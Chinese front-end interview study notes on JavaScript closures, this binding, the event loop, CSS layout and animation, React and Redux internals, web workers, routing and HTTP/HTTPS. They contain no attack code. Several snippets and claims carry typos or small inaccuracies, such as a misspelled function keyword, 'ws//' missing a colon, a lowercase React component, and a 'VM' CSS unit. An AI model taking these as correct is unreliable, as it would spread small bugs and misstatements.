重要总结

156 阅读1小时+

Html5新增的特性

  1. 语义化标签 header section aside
  2. 音视频 video 标签和audio 标签
  3. localStorage / sessionStorage
  4. webSocket
  5. Web workers
  6. 拖拽
  7. 地理定位 navigator.gelocation
  8. Canvas

Async 和 defer 的区别

js正常加载,会阻塞dom 和 cssdom 构建,而async 和defer 都是异步加载的,不会阻塞浏览器

  • async 是加载完成后立即就会执行
  • defer 是加载完成后不会立即执行, 而是等到文档解析html完成后,才会开始执行js,并且是按照加载顺序执行脚本的

闭包

函数被在所定义的词法作用域之外调用,并且访问了所在的词法作用域,就产生了闭包

  • 当函数可以记住并访问所在词法作用域的时候,即函数是在当前词法作用域之外执行,就产生了闭包。
  • 函数在定义时的词法作用域之外的地方被调用,闭包可以使得函数继续访问所定义时的词法作用域
  • 无论通过何种手段将函数传递到所在词法作用域之外,他都会持有对原始定义作用域的引用。

如果将(访问他们各自词法作用域的) 函数当作第一级的值类型并到处传递,就是在使用闭包,比如定时器,事件监听器,ajax 请求,webWork等任务中,只要使用了回调函数,就是在使用闭包

const wait = (message) => {
  setTimeout(finction timer() {
    console.log(message)  // timer 函数具有wait 函数作用域的闭包
  }, 1000)
}
wait('hello')

使用场景:

  1. 封装私有变量

  2. 延续局部变量寿命

    const report = (srcUrl) => {
      let img = new Image();
      img.src = srcUrl;
    }
    report('http://localhost:8000')
    

    但是可能有个问题,通过img上报数据,但是当report 执行后,可能还没有发起http请求,report函数中局部变量img就被销毁了。所以利用闭包将img封闭

    const report = (srcUrl) => {
    	let imgs = [];
    	return (srcUrl) => {
    		let img = new Image();
    		imgs.push(img)
    		img.src = src;
    	}
    }
    
    

使用闭包是会把一些变量一直保存下来,可能对内存方面有影响,而且使用闭包的同时可能比较容易形成循环引用,这样的话如果垃圾回收机制使用引用计数策略的话,循环引用就会导致内存泄露(所以本质上和闭包没有一毛钱关系),如果要解决,我们可以手动将循环引用的变量设为null.

this 指向,call, apply,bind

this 永远指向最后调用它的那个对象

匿名函数this 永远指向window

最后调用this的那个对象是调用 f() 的对象,也就是window

var name = "windowsName";
    var a = {
        name : 'lalala',
        fn : function () {
            console.log(this.name);      // windowsName
        }
    }
    var f = a.fn;
    f();

fn 是对象 a 调用的,所以this是a 的值

var name = "windowsName";
    var a = {
        name: "lalala",
        fn : function () {
            console.log(this.name);      // lalala
        }
    }
    a.fn();

innerFunction 作为一个函数调用,没有挂在任何对象上,所以this 指向window

var name = "windowsName";
    function fn() {
        var name = 'lalala';
        innerFunction();
        function innerFunction() {
            console.log(this.name);      // windowsName
        }
    }
    fn()

改变this 的指向

  • 手动保存this

    • 在函数内部 _this = this;
  • call

    call(thisArg, 参数1,参数2,参数3)。 // thisArg 要绑定的this。 参数是一个个值

  • apply

    apply(thisArg, [参数1, 参数2, 参数3]) // thisArg 要绑定的this 参数是数组

  • bind

    bind(thisArg, 参数1, 参数2,参数3)。 // 返回是一个函数,需要自己调用

  • 箭头函数

    箭头函数和普通函数的区别
    • 声明方式不同(写法不同)
    • 箭头函数的this 取决于定义他时所在的上层作用域的this
    • 使用call , apply, bind 无法改变指向
    • 箭头函数没有prototype 属性,所以不能当作构造函数不能new
    • 箭头函数没有自己的arguments,会去上层找arguments, 如果箭头函数在全局怎会报错,但是可以使用...rest 来表示剩余参数,...rest 必须写在参数最后 (rest是一个真正的数组,argument 只是一个类数组)
    • 箭头函数不能做生成器函数(因为yield 关键字不能在箭头函数中使用

箭头函数和普通函数的区别

事件循环

在浏览器中包含了许多的进程。

  • 主进程
  • GPU进程
  • 第三方插件进程
  • 渲染进程(浏览器内核)

其中我们最关注的是渲染进程,主要负责页面的渲染,脚本执行,事件处理等

渲染进程中又包含了许多的线程

  • GUI渲染线程
    • 负责页面渲染,布局和绘制,当页面需要重排和重绘时,就会执行
    • 与js引擎线程互斥,这样可以防止在渲染的时候操作dom导致渲染不可预期
  • JS引擎线程
    • JS引擎线程是一个单线程的,与GUI渲染进程互斥
    • 主要负责解析和执行js脚本
  • 事件触发线程(管理事件队列)
    • 当事件触发的时候,会将事件放入到js所在执行队列中,比如点击事件等
  • 定时器触发线程
    • settimeout 和setInterval由该线程计时,计时完毕后,通知事件触发线程
  • 异步请求线程
    • 用来处理ajax 请求,请求完成后,通知事件触发线程

Js 是单线程的, 因为涉及到dom操作,多线程需要进行同步判断,单线程降低了复杂度

但是因为是单线程,所以当遇到定时器,网络请求的时候就会阻塞线程,所以js 将代码分为了一个个任务,Js 分为同步任务和异步任务,任务在js引擎上执行,当遇到同步任务的时候,先执行,形成一个执行栈,当遇到异步任务的时候,就会根据不同的异步任务让不同的线程执行,当异步任务的触发条件达成后,会将回调事件放到由事件触发线程管理的任务队列中(任务队列有两个,一个宏任务队列,一个微任务队列), 当执行栈中的同步任务执行完成后,若微任务队列中有,则清空微任务,若微任务队列中没有回调,就会从任务队列(宏任务队列)中取出一个异步任务的回调加入到执行栈中开始执行。(异步的回调任务中也可能有同步任务,其他异步任务,就还是会按照上面这个顺序进行)

  • js 引擎线程只会执行执行栈中的事件
  • 执行栈中的代码执行完毕,就会读取事件队列中的事件
  • 事件队列中的回调事件,是由各自线程插入到事件队列中的
  • 如此循环

微任务队列是为了让异步任务有优先级的概念,于是又设计了一个高优先级的队列(微任务队列),每次执行完普通宏任务后,就去把所有的高优先级的任务执行一遍,清空微任务队列,然后执行下一个宏任务

JS引擎线程 和负责页面渲染的GUI线程互斥,为了让js任务和dom渲染任务有序进行,每当一个宏任务执行完后,检查微任务队列中有没有,有就执行清空微任务队列,然后就会由GUI线程进行渲染,渲染完成后,然后执行下一个宏任务。

同步任务1和同步任务2执行过程中产生了微任务的执行流程,且第一个宏任务中产生了微任务

同步任务1-->渲染-->同步任务2-->渲染-->微任务-->渲染-->宏任务-->微任务-->渲染-->宏任务-->渲染

同步任务1和同步任务2中没有产生微任务的流程,且第一个宏任务中产生了微任务

同步任务1-->渲染-->同步任务2-->渲染-->宏任务-->微任务-->渲染-->宏任务-->渲染

任务分类

  • 同步任务

  • 宏任务 定时器回调,ajax 会调, dom事件回调

  • 微任务 Promise.then回调 mutationObserver 回调

总结:

代码执行的是,遇到同步任务直接执行,遇到异步任务就会根据任务类型分别放到宏任务队列和微任务队列,同步任务执行完后,查看微任务队列,如果有微任务,则保证把所有的微任务全部执行完(包括执行微任务中产生的新的微任务), 然后去执行查看宏任务队列,执行下一个宏任务,如果在执行宏队列的时候,产生了新的微任务,则执行完微任务再去接着执行宏队列 ,执行完后,查看微任务队列,重复循环,直到宏任务队列为空。

垃圾回收机制

标记清理

当申明一个变量的时候,这个变量会被加上存在于上下文中的标记,当变量离开上下文时候,也会被加上离开上下文的标记

引用计数

申明变量并给他赋值一个引用值,引用数为1,如果其他值又有引用到,则引用数加一

异步编程

Promise

实现串行promise

Number

最大安全整数

​ Number.MAX_SAFE_INTEGER + 1/+2/+3

let 和 const

var 有变量提升

Let 和 const 两者都存在块级作用域,不存在变量提升,会形成暂时性死区,必须先声明后使用,且不能重复声明,区别是

let 声明的值可以修改,const 声明后就必须赋值,且声明基本类型不可以修改,声明引用类型可以修改其属性。若想要声明对象后也不可以修改可以用到对象的Object.freeze

  • Object.freeze()

    冻结对象后,其值不可以修改,不可以删除,不可以新增属性,但是只能冻结第一层(浅冻结),如果value 也是个对象,还是可以修改。所以可以通过递归实现冻结。

    function deep(obj) {
    		// 获取到obj的key
        let keys = Object.getOwnPropertyNames(obj)
        
        // 冻结自身之前先判断他的属性是不是对象,是的话先冻结
        keys.forEach(item => {
            const value = obj[item]
            if (typeof value === 'object' && value !== null) {
            deep(value)
        }})
    		return Object.freeze(obj)
    }
    

    除了Object.freeze() 之外,还有两个属性也属于冻结,只是能力略差

  • Object.seal()

    冻结对象后,该对象可以修改属性,但是不可以删除属性,不可以新增属性,

  • Object.preventExtensions()

    冻结对象后,该对象可以修改属性,可以删除属性,但是不可以新增属性

em 和 rem

  • em

em是一个相对单位,子元素的font-size相对于他的父级元素的font-size作为基准,子元素的宽高等相对于自身font-size,如果没有设置过font-size,则相对于浏览器的默认字体大小,浏览器兼容性比较差只能兼容到Ie9

  • rem

rem是css3新增的一个相对单位,是相对于根元素html的大小来作为基准,比如说用rem做响应式的时候,利用媒体查询可以直接改变html元素的大小,浏览器兼容性比较差只能兼容到Ie9

em和rem在做不同屏幕分辨率的界面时候非常实用

  • vh / vw

vw 相对视口宽度而定, 1vw = 视口宽度1/100

vh相对于视口高度而定 1vh = 视口高度1/100

  • VM

css3中的新单位,相对于视口的宽度或高度中较小的那个,其中最小的那个被均分为100单位的vm, 例如浏览器高为900px,宽为1200px, 取最小浏览器高度 1vm = 900px / 100, 兼容差

www.jianshu.com/p/62f691f48…

百分比布局,使用百分比为单位,缺点是当屏幕过大或者过小的时候就不能正常显示,优点是兼容性比较好,并且分辨率变化的时候,布局也不会改变

响应式布局,每一个屏幕需要做一套布局,使用media 和grid来做,缺点是 媒体查询有限只能适用主流宽高屏幕,需要设计多个版本,优点是适用于pc 和移动端

弹性布局: 使用rem, em, 缺点是只能兼容ie9以上,优点是可以在不同分辨率的界面下,随意改变元素宽高比例

css垂直居中几种方式

  1. 左右居中

    • 父元素宽高固定,子元素为文本 (直接设置文本居中方式)

      父元素设置text-align: center, (左右居中)

      子元素设置line-height: 父元素高度 (垂直居中)

      若父元素宽高不固定,则宽高被子元素自动撑开,text-align: center,左右居中

    • 父元素宽高固定,子元素宽高固定

      子元素设置margin: 0 auto

  2. 垂直居中

    • 父元素宽高固定,子元素宽高固定

      父元素设置position: relative / absolute

      子元素设置position: absolute. Left: 0; top: 0; bottom: 0; right: 0; margin: auto

    • 父元素宽高固定,子元素宽高固定

      父元素设置position: relative / absolute

      子元素设置position: absolute; top: 50%; right: 50%;

      margin-top: -90px; 子元素高度的一半

      margin-right: -90px; 子元素宽度的一半

    • 父元素宽高固定,子元素宽高固定

      父元素设置position: relative / absolute

      子元素设置position: absolute; top: 50%; left: 50%; transform: translate(-50%, -50%);

    • 父元素宽高固定,子元素宽高固定/(不固定)

      父元素

      display: flex;

      align-items: center;

      justify-content: center;

    • 父元素宽高固定,子元素宽高固定/(不固定)

      父元素

      display: flex;

      justify-content: center; (左右居中)

      子元素: align-self: center;

    • 父元素宽高固定,子元素宽高固定/(不固定)

      父元素

      display: grid;

      place-items: center;

css动画

  • transform 变形

    用于对元素进行旋转,缩放,移动,倾斜其实和设置动画没有什么关系,只是用来设置元素的外表

    他的属性有:translate. (移动)。 translate(10px, 10px, 10px), 相当于 translateX(10px), translateY(10px)

  • transition 过渡

    是一个状态的转变,从一种状态过渡到另一种状态,需要一种条件来触发这种改变,比如:hover, :focus, :checked 等媒体查询或者javaScript

    // hover 的时候0.2s旋转,然后失去hover的时候1s变回来 
    .div {
       width: 50px;
       height: 50px;
       background: red;
       transition: transform 1s ;
     }
    .div:hover {
      background-color: green;
      transform: rotate(45deg);
      transition: transform 0.2s;
    }
    

    需要事件去触发,没办法自动发生,只能定义一种属性的改变,只有两个状态,开始状态和结束状态,而且是一次性的,不可以重复发生,除非是一直去触发,

    transition: css属性 完成过渡的时间 动画曲线 什么时候开始

  • animation 动画

    animation 属性用来指定一组或多组动画,每组之间用逗号相隔。页面一加载进来就可以进行动画执行

    ​ 通过@keyframes 来进行设置动画,可以定义多个时间段的状态,并且可以定义多个不同属性的变化。

    animation: @keyframes名称 播放动画持续时间 动画曲线 什么时候开始 动画播放次数 动画播放方向 控制动画播放的状态 动画结速后元素的样式

    可以通过animationPlayState 来控制动画,值为 start, paused

    
        <style>
          .div {
            width: 50px;
            height: 50px;
            background: red;
            transition: transform 1s ease-in 2s;
            animation: divRotae 2s infinite;
          }
          @keyframes divRotae {
            0% {
              transform: rotate(45deg);
            }
            25% {
              transform: rotate(90deg);
            }
            80% {
              transform: rotate(180deg);
            }
            100% {
              transform: rotate(360deg);
            }
          }
        </style>
      </head>
      <body>
        <div class="div">测试</div>
        <button class="paused">暂停</button>
      </body>
      <script>
        let paused = document.getElementsByClassName('paused')[0];
        paused.addEventListener('click', () => {
          let divs = document.getElementsByClassName('div')[0];
          divs.style.animationPlayState = 'paused';
        });
      </script>
    </html>
    

box-sizing

  1. box-sizing: content-box (默认值)

    设置元素的宽和高只是内容区的宽和高,不包含border 和padding

  2. box-sizing: border-box

    设置元素的宽和高 = 内容区的宽高+ border + padding

清除浮动

  • 在浮动元素后使用一个空元素

    .clear{ clear: both} 或者使用伪元素在元素末尾添加,也是利用clear:both

    :after {clear:both;content:'.';display:block;width: 0;height: 0;visibility:hidden;}
    
  • 通过创建BFC来清除浮动

BFC

原理:

  1. BFC是一个独立的容器,内外元素不会互相影响
     2. 计算BFC高度的时候,浮动元素也参与计算(清除浮动)
     3. BFC区域不会和浮动元素区域重叠

解决的问题

  1. Margin 重叠问题(两个相邻兄弟元素设置margin的时候,会按照 最大margin展示)
  2. 高度塌陷问题(父元素没有设置高度,通过子元素撑开,然后给子元素设置浮动就会产生高度塌陷)
  3. 父元素里面有两个子元素,当给第一个子元素设置浮动后,如果在另一个子元素中输入文字,当文字超出第一个子元素后,就会发现文字会环绕第一个子元素。所有我们给第二个子元素创建BFC,用来让他不重叠

如何创建BFC

  1. overflow不为visible
  2. float的值不为none
  3. position值不为relative或者static
  4. display属性为inline-block,table,flex时候

React 生命周期

Constructor

getDerivedStateFromprops getDerivedStateFromprops

Render shouldcomponentupdate

componetDidMount render

​ getSnapshotBeforeUpdate

​ componentDidUpdate componentwillunmount

父组件和子组件通信方式

  • 父传子 props
  • 子传父 CallBack
  • 通过Context
  • 通过redux dva 等全局状态管理

fetch / XHR

  • xhr

    核心是是XMLHttpRequest

    let xhr = new XMLHttpRequest()
    xhr.open('GET', url)
    xhr.responseType = 'json';
    xhr.onload = function() {
    	console.log(xhr.response)
    }
    xhr.onerror = function() {
    	console.log('error')
    }
    xhr.send()
    

XMLHttpRequest对象提供了onreadystatechange事件机制来捕获请求的状态,继而实现响应。

  • 0: 请求未初始化
  • 1: 服务器连接已建立
  • 2: 请求已接收
  • 3: 请求处理中
  • 4: 请求已完成,且响应已就绪

取消请求

xhr.abort()

  • fetch

    • 默认不带cookie,需要使用的时候设置fetch(url, {credentials: 'include'})

    • 服务器返回400, 500 错误码时候并不会reject, 只有网络错误导致请求不能完成才会reject

    • 取消请求

    通过new AboutController(),获取到里面的signal, 然后将signal 传给fetch,最后调用controller.abort()就可以

    const controller = new AbortController();
    const signal = controller.signal;
    setTimeout(() => controller.abort(), 5000);
    fetch(url, { signal }).then(response => {
      return response.text();
    }).then(text => {
      console.log(text);
    });
    
    

websocket

客户端和服务器进行通信, 只能由客户端发起ajax 请求才能进行通信,服务器端无法主动向客户端推送信息,webSocket 通过一个长时连接,让浏览器和服务器具备了实时双向通信的能力。可以让服务端主动向客户端发送信息。

let socket = new WebSocket("ws//192.36.35.112:8080")
// 必须传入一个绝对的url


// 给服务器发送消息
socket.send('给服务器发送的消息')

// 监听服务器发送的消息
socket.onmessage = function(data) {
  let data = e.data;
  // data 就是服务器发送的消息
}

初始化对象后,会立即创建连接,他也有一个readyState 属性来表示当前状态。

  • 0 连接正在建立

  • 1 连接已经建立

  • 2 连接正在关闭

  • 3 连接已经关闭

如果想要关闭,调用close() 方法,例如socket.close(), readyState 会立即变为2,等到关闭后变为3.

特点:

  1. 使用自定义协议,需要专用的服务器,数据格式比较轻量,协议控制的数据包小,通信速度快
  2. 没有同源限制,可以打开到任意站点的连接
  3. 可实现双向通信

Redux

谈谈redux 的基本流程和核心概念

  • store (用来保存所有的状态state, 并且提供了一系列的方法让我们用来进行对数据的操作)
    1. dispatch: 用来修改state,发出一个action,然后action中的数据就会被传入到reducer中
    2. getState: 用来获取里面的状态
    3. Subscribe: 监听状态是否发生改变 利用store
  • action (如果想要修改redux 中的数据,就需要发出一个action)
  • reducer (一个纯函数,用来接受action 和原先的state作为参数,返回一个新的state)

Redux 三大设计原则理念:

  1. 单一数据源

    所有的state 都被保存在一个store中,可以利用

  2. state 是只读的 (防止数据交互混乱)

    修改state唯一的方式就是利用dispatch触发一个action,action是一个对象,type是必须的,其他的属性可以随便添加,然后在reducer中可以拿到

  3. reducer是一个纯函数,利用纯函数来执行修改

    reducer是一个纯函数,里面有两个参数,一个是state, 一个是action,跟据action 的type 修改返回一个新的state

执行流程

组件 利用store.dispatch 发出一个action, 然后redux 将action 交给对应的reducer 处理,返回一个新的state,state变化后,然后通知store.subscrib()函数执行

Dva

当用户交互行为或者浏览器行为(路由跳转)触发数据改变时,通过dispatch发起一个action,如果是同步行为会直接通过Reducers改变State,如果是异步行为(副作用)则先触发Effects,然后流向Reducers最终改变State

与redux数据流向类似,比redux更为简洁,省去定义常量和action,dva支持异步,redux如果想要支持异步得弄中间件,redux-saga或者thunk这些。

web worker / service worker

  • Web Worker (专用工作者线程)

    因为js线程和GUI渲染线程互斥,所以当js 主线程进行高耗时的运算时候,就会阻塞页面,为了这时候让ui页面可以响应,就可以利用webWorker 开辟一个新的线程,独立于javascript 主执行环境

worker 内部无法访问主程序的任何资源,包括他的全局变量以及页面的dom。是一个完全独立的线程

​ 从js主程序(或者另一个worker)中实例化一个Worker

let workerOne = new Worker("http://test/workerOne.js")
// workerOne.js 文件会被加载到一个worker 中,然后浏览器启动一个独立的线程,让这个文件作为独立程序运行

主线程和worker 通过监听message 事件通信,也可以利用postMessage 发送信息

// 主代码
workerOne.addEventListener("message", function(evt){
	console.log(evt.data) // 监听workerOne传给主线程的数据
})
workerOne.postMessage("给workerOne 发送数据")

// workerOne.js 代码
postMessage('给主线程发数据')
addEventListener("message", function(evt){
	console.log(“监听到主线程的数据”, evt.data)
})

webWorker 特点

1.  不同的页面不能共享一个web Worker ,只能创建他的页面使用
2.  页面关闭的时候,web Worker 也会关闭。 相当于调用 worker 上的 `terminate()`  终止worker

还有一个是,共享工作者线程。 **SharedWorker ** (整个站点或者app的所有页面实例都可以共享),这里不深入了

  • Service Worker(服务工作者线程)

主要用途 是拦截。重定向 和修改页面发出的请求,缓存响应,充当网络请求的缓存层,或者做一些离线应用。

特点:

1. serviceWorker 不服务于特定页面,而是服务于多个页面(遵循同源策略)
2. service Worker 会常驻在浏览器中,即使注册他的页面已经关闭,service Worker 也不会停止,只有主动终结或者浏览器回收,这个线程才会结束

webWorker 和Service Worker 两者区别:

1. serviceWorker不会因为页面关闭而被销毁,webworker 关闭页面就会销毁
2. serviceWorker 可以多页面使用,webworker 每一个页面都不一样
3. serviceWorker只能使用在https或者本地localhost下

PWA (渐进式网络应用程序)

是一种普通网页或网站架构起来的网络应用程序,但它可以以传统应用程序或原生移动应用程序的形式展示给用户。

manifest

浏览器路由

前端路由

用户在点击切换路由的时候不需要重新刷新页面,路由由前端维护,分为hash路由和history路由,带#号的为hash路由,hash路由兼容性比较好

  • Hash 路由

当# 后面的ha sh 值改变, 浏览器不会重新发起请求,而是触发hashChange事件, 通过window. hashChange事件来监听ur l. Hash 值的变换。

  • history路由

h5 新增的,一个是window.history.pushState ,和window.history.replaceState, 两个方法改变url 不会引起页面刷新,但是这两个事件不会触发popstate, 只有浏览器前进后退改变url 才会触发

History 需要服务端配合设置地址可访问,如果当前url地址访问重新发起请求,url没有匹配的时候,会出现404页面,而ha sh路由却不会。

后端路由

服务端解析url地址,发送数据,但是每一次切换都需要重新刷新页面,对用户体验不好

React-Router

React-router 两种路由方式也是利用了hashChange 和 popState, 在history模式下用popstate监听路由变化,在hash模式下用hashchange监听路由的变化。

React 合成事件和批量更新

在将虚拟dom的事件挂载到真实dom的时候,进行了事件代理,将要挂载的事件进行处理,不管给哪一个dom绑定都统一代理到container上去,然后将event 事件进行包装,可以做兼容处理,兼融不同的浏览器,这样的话,也可以在事件处理函数之前和之后做一些事情,比如react 事件的批量更新。这样就不用频繁更新组件,比如setstate 就有时候是异步,有时候是同步(事件处理函数。生命周期等,就只要归react管就是异步,不归react管就是同步)(他是如何批量更新的,就是设置一个批量更新的标志,然后存储每个组件的updaters。 当组件是批量更新的时候,就将state放到任务队列中存储起来,当标志变为false的时候,直接合并state队列,然后更新组件)

react diff

虚拟dom 其实就是用对象来表示的(是一个描述dom结构和属性的js对象) jsx语法由babel解析后,然后通过createElement得到一个虚拟dom对象

虚拟dom 可以减少dom 操作,把多次操作合并为一次操作,借助dom diff 把多余的操作省掉,并且可以跨平台渲染,但是虚拟dom 不一定一定就比dom快,如果do m操作大量修改,接近替换,虚拟do m还会去对比生成。效率会更低, 规模太大的时候(十万),虚拟dom是慢的,规模较小的时候,虚拟do m快。(1万左右),因为虚拟dom生成也要时间。

diff 函数 patch(oldVNode, newVnode)

大致逻辑

Tree Diff

将新旧两颗树逐层对比,然后找出哪些节点需要更新

如果节点是组件,就看 component diff

如果节点是标签, 就看Element diff

Commponent diff

如果节点是组件,就先看组件类型

如果类型不同则直接替换(删除旧的)

类型相同则只更新属性

然后深入组件 递归 使用tree diff

Element diff

如果节点是原生标签,则看标签名

标签名不同直接替换,相同则只更新属性

然后进入标签后代递归 Tree Diff

存在的问题

如果span 下面有三个li 节点,当把第二个li节点删除后,diff 对比新旧两颗树的时候,先对比第一个li节点,没有改变,对比第二个节点,他会认为新Vdom树把第二个li节点变成了第三个li节点,然后,删除了第三个li节点,其实,实际上是删除了第二个li 节点。所以要加key, ke y 属性的设置,可以帮我们尽可能重用同一层级内的节点(如果key改变。UI也就会重新渲染)

函数组件和类组件区别

  • 类组件需要继承class, 函数组件不需要
  • 类组件可以获取到实例化后的this. 函数组件没有
  • 类组件有生命周期方法,可以定义维护state, 函数组件没有,不过用到了hooks 弥补了一部分
  • 类组件是面向对象编程思想的一种表示,将属性和方法放到一个class里面,但是类组件内部的逻辑难以实现拆分和复用,函数组件更加像 UI = render(数据),更容易扩展。

hooks原理

只在函数组件中使用

hooks 正常运作,在底层依赖一个链表,每个hook通过next 串联起来,

在首次渲染的时候,主要调用了mountState,用来初始化hooks,构建链表并且渲染,里面有一个mountWorkingProgressHook() 创建一个新的hook对象,然后追加到链表尾部,然后创建当前hook对象的更新队列,让他可以按顺序保留dispatch(也就是相当于setState)。

在更新渲染的时候,调用updateState, 他就按顺序去遍历之前构造好的链表,取出对应的数据信息进行渲染。hooks 是通过遍历定位每一个hooks内容的,如果前后两次读到的链表在顺序上出现差异,那么结果就是不可控的,所以不能用于循环条件或者嵌套函数中使用,为了确保hooks 在每次渲染的时候都保持同样的执行顺序。

React 性能优化

  • 遍历展示视图的时候添加key,这样react 可以在diff 的时候,通过key来快速判断哪个节点发生了变化

  • 减少组件render 次数以及计算量

    函数组件里面我们可以通过

    • 写代码的时候可以尽量避免使用state,如果state能被其他的计算出来就不引入新的state,尽量进行单一原则简化porps

    • 使用useCallback 缓存一些匿名函数方法,减少不必要的渲染(匿名函数渲染每次都是不同的引用)

    • 使用useMemo 可以缓存一些计算量大的逻辑

    • 或者使用react.memo 来对prop进行一个浅比较减少渲染(默认浅比较,可传入第二个参数,用来自己控制条件是否进行刷新,false 为渲染,true 不渲染(props值相等))

    类组件的话

    • 使用PureComponent 也是一个浅比较
    • 使用ShouldComponentUpdate 来决定什么时候重新渲染组件, true 是重新渲染,false 为不渲染
  • 使用react.lazy 定义一个动态加载组件,配合suspense 使用(比如加载编辑器)

    const component = React.lazy(() => import('./component'))
    
    const Edit = () => {
      return (
      	<React.Suspense fallback={<div>加载中</div>}>
        	<component />
        </React.Suspense>
      )
    }
    
  • 使用immerJs 或者 immutablejs

http和https

http 状态码

  • 1xx. 请求正在处理
  • 2xx. 请求正常处理
    • 204 请求处理成功服务器没有资源返回
    • 206 客户端进行了范围请求,请求头中加入Range字段,返回的数据属于Content-Rage(响应头) 指定的范围。(注意范围请求需要服务端支持,即响应头中Accept-Ranges: bytes。 如果不支持值就为none)
  • 3xx 重定向
    • 301 永久重定向,如果url被保存为书签,则会被提示重新保存
    • 302 临时重定向, 资源url 只是暂时修改
    • 304 服务端资源未改变,和重定向没半毛钱关系
    • 307 也属于一种临时重定向,但是会严格遵循浏览器标准不会将post 变为get, 302也是这种标准,但是人们不遵守
  • 4xx 客户端错误
    • 400 请求报文中存在语法错误
    • 401 未通过认证
    • 403 没有权限访问资源
    • 404 找不到请求的资源
  • 5xx 服务器错误
    • 500 服务器内部请求资源发生错误
    • 503 服务器超负载宕机或者停机维护
    • 504 GetWay 网关超时
  • 常见头部字段
    • Content-Type (request/ response)
      • application/json
      • formData
      • application/x-www-form-urlencoded
    • Accept 字段
      • Accept-Encoding: gzip // 压缩报文主体(客户端request)
      • Content-Encoding: gzip // 响应主体压缩(response)
      • accept-language
    • request Headers
      • cookie
      • referer
      • origin
      • Use-agent
      • host
      • Connection
      • If-modified-since
      • If-modified-Match
    • Response Headers
      • Express
      • Cache-control
      • last-modified
      • etag
      • Access-control-allow-methods
      • Access-control-allow-origin
      • Access-Control-Allow-Headers
      • Access-Control-Max-Age. 预检请求缓存时间
      • Access-control-Allow-Credentials。cors是否允许携带凭证

http报文组成

  • 请求报文 (
    • 请求行 包含一些http的信息方法以及请求地址
    • 请求头 headers
    • 空行 用来分割,当遇到空行服务端就知道下一个不再是请求头,而是请求体
    • 请求体 请求的参数
  • 响应报文 (
    • 状态行: http协议版本,状态码等
    • 响应头: headers
    • 空行 : 用于分割
    • 响应体: 服务端返回的数据

http 请求方法

  • get

  • post

  • put

  • delete

  • HEAD

  • options

  • connect

  • Trace

    get 请求和post 请求区别

    • get 请求会被浏览器主动缓存,而post不会,除非手动设置
    • get请求是幂等的,post 不是
    • get请求回退的时候是无害的,get请求参数会被保留在浏览器记录中。post请求会重新发起请求
    • get请求在url中长度有限制(其实是http限制),且get请求只能进行URL编码,只能接收ASCII字符,post无限制

http 1.0 和1.1 的区别

  • 缓存策略,http1.0 中只有exprise, 和if-Modiified-Since,1.1 中新增了etag Cache-control等。// TODO:

  • http1.1 新增了范围请求,在请求头中添加range字段请求范围资源,返回206状态码(如用于大文件上传下载,断点续传等)

  • Http1.1 默认开启长链接,长链接主要是减少了握手次数(之前是一个tcp链接只发一个请求,处理完之后就断开链接,下次新的请求又会重新建立t c p链接,长连接是一个tcp链接里面可以发送多个请求) connection: keep-alive, 关闭connection: close

  • http1.0 会头部阻塞,只能串行执行,即第二个请求必须等第一个请求响应到达才可以发送,(长链接也有这个问题)所以http1.1 新增管道化,基于长链接,可以实现不需要等待响应就可以发送并行请求,但是会有队头阻塞问题

    长链接管道化开启后,会出现队头阻塞问题,注意与上面的1.0头部阻塞区分。因为长链接管道化响应必须按照顺序返回。举个列子:

    客户端一个tcp同时传输10个请求,其中1,2,3,4 请求被服务端接收,但是第五个请求丢失,那么后面的请求就会被阻塞,即使后面的请求已经处理完了,但是管道化需要按照顺序返回,还是需要等待第五个处理完后才可以返回,这样就浪费了资源

    所以可以通过下面这两种办法优化,但是不能完全解决,直到http2.0提出多路复用

    • 并发TCP长链接,每一个域名可以并发6-8个长链接,chrome6个,firefox 8个
    • 通过域名分片的形式,新增几个二级域名,这样的话,当访问一级域名的时候,资源就可以从不同的二级域名中获取,这样可以并发更多的TCP长链接

http 1.x 和http2.0的区别

  • http2.0新增服务端推送

    服务器之前不会主动推送内容给客户端,除非采用websocket

    服务器不再被动接收请求,比如浏览器请求html文件,服务器就可以在返回html基础上,将里面引用到的其他文件资源一起返回,一个请求发送多个响应

  • 多路复用

  • 二进制分帧

    http2.0 通过二进制分帧的方式来解决队头阻塞

    实际上是将headers, body 的报文解析成二进制的帧数据,Headers帧和Data帧,服务器看到的是一堆乱序的二进制帧,这些数据不存在先后顺序,所以也不存在排队等待队头阻塞问题,通信双方都可以发送二进制帧,这种双向传输的序列,就叫做流,通过用流来在一个tcp链接上进行多个数据帧通信,这就是多路复用。二进制到达对方后,会通过将相同的流id组装成完整的请求和响应报文

  • 头部压缩

    针对头部字段headers通过HPACK算法进行压缩,通过在客户端和服务端之间建立一张哈希表,将用到的字段存在表中,然后传输的时候对之前出现的值,把索引传递给对方,然后通过拿索引查表就可以了,可以极大精简
    
  • http 缺点

    • 通信使用明文,没有加密,内容可能会被窃听
      • 通过加密方式来进行,一种是通信加密,通过SSL 建立安全通信线路,即HTTPS.
      • 通过对HTTP 报文进行加密处理
    • 不验证通信方的身份,可能遭遇伪装
      • SSL 会提供一种证书的手段,证书由第三方信任机构颁发,当客户端和服务端相互通信之前,会先判断证书是否有效
    • 无法验证报文的完整性,有可能请求和响应传输途中被篡改 (中间人攻击
      • 使用https

https (套着SSL的http)

http + 认证(证书) + 加密 + 完整性保护(数字签名) = https

  • 证书 (用来验证服务端信息)
  • 加密 (用来保护传输信息)
  • 数字签名 (用来保护证书的信息不被篡改)
  • 数字签名保护 依赖于CA机构私钥,私钥泄漏就完犊子了。

证书认证和加密方式和数字签名

(非对称加密和解密耗时远远大于对称加密)
  • 对称加密 (通过一个密钥来进行加密和解密操作) 这样的话,如果密钥在传输过程中被监听到后,则数据就会泄漏,所以引入非对称加密

  • 非对称加密 (一把公钥,一把私钥,公钥加密只能用私钥解密)私钥只存在服务端,这样的话,只有服务端可以解密。但是这样也有一个问题 (中间人攻击)

    • 如果中间人自己伪造了一把公钥B,一把私钥B,当服务器发给客户端公钥A的时候中间人进行拦截,然后将自己的公钥B发给客户端,然后客户端利用公钥B进行加密,发送给服务器的时候,中间人又进行拦截,利用自己的私钥B进行解密,然后和服务端进行通信。所以这个问题本质上就是客户端无法 验证收到的公钥是服务器发来的,所以就需要CA机构证书,来验证服务端信息

    • 服务端使用https前去CA机构颁发一套数字证书,里面包含证书的持有者,证书有效期,公钥信息,这样的话,客户端去验证证书身份和访问网站身份一致后,拿到证书里面的公钥去进行加密操作,但是,这样还是会有一个问题,就是中间人拦截到服务器传给客户端的证书后,只修改里面的公钥信息,将里面的公钥修改为自己的,然后传给客户端,还是会出现中间人攻击。

